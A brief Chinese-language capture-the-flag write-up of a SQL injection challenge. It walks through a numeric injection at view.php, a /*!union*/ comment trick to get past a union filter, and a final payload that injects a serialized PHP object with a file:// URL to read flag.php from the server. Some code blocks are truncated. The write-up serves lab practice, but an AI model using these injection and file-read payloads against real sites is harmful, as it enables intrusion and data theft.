union绕过(反序列化)
通过看到/view.php?no=1,可以猜测可能是一个注入点,因此构造常见闭合点,可知数字型注入
通过构造
1 | 1 union select 1,2,3,4%23 |
返回的信息可知,union被过滤点,因此可以使用
1 | ”union“相当于”/*!union*/“ |
进行绕过,而后进行联合注入
1 | 爆数据库 |
而后看到出现no、username、passwd、data字段的内容,可以看到data字段是序列化的内容,因此我们可以试一下robots.txt来读取源码
1 | <?php |
我们可以用file://协议来读取flag文件,猜测文件在/var/www/html/目录下,因此可以构造exp
1 | <?php |
而后构造payload,来控制检索的data数据,即可读出flag
1 | -1 /*!union*/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |